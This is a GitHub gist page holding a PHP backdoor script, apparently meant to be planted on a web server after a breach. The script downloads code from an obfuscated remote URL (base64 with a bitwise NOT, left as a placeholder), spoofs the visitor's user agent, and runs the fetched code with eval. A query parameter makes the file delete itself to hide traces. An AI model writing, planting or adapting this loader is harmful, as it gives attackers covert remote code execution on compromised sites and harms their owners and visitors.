Skip to content

Instantly share code, notes, and snippets.

@nolochemical
Forked from anonymous/PHP shellcode key
Last active August 29, 2015 14:25
Show Gist options
  • Save nolochemical/777ee4dc5ea138c5570e to your computer and use it in GitHub Desktop.
Save nolochemical/777ee4dc5ea138c5570e to your computer and use it in GitHub Desktop.
A front door carpet key.. #AfterABreach
<?php
function _dlss($url)
{
$file_contents = '';
$real_user_agent = $_SERVER['HTTP_USER_AGENT'];
if (function_exists('file_get_contents')) {
ini_set('user_agent',$real_user_agent);
$file_contents = @file_get_contents($url);
}
if (strlen($file_contents) < 10 && function_exists('curl_init')) {
$file_contents = '';
$ch = curl_init();
$timeout = 60;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_USERAGENT, $real_user_agent);
$file_contents = curl_exec($ch);
curl_close($ch);
}
return $file_contents;
}
if (isset($_GET['do'])) {
unlink(__FILE__);
header("Location :?t");
} else {
$groups = 'hu';
$host = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'].($_SERVER['SERVER_PORT']=='80' ? '' : ':'.$_SERVER['SERVER_PORT']));
$host = urlencode($host);
$code = _dlss(~base64_decode('_BASE_64_CODE_'));
@eval($code);
}
@nolochemical
Copy link
Author

$cat a.txt b.txt c.txt > d.txt

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment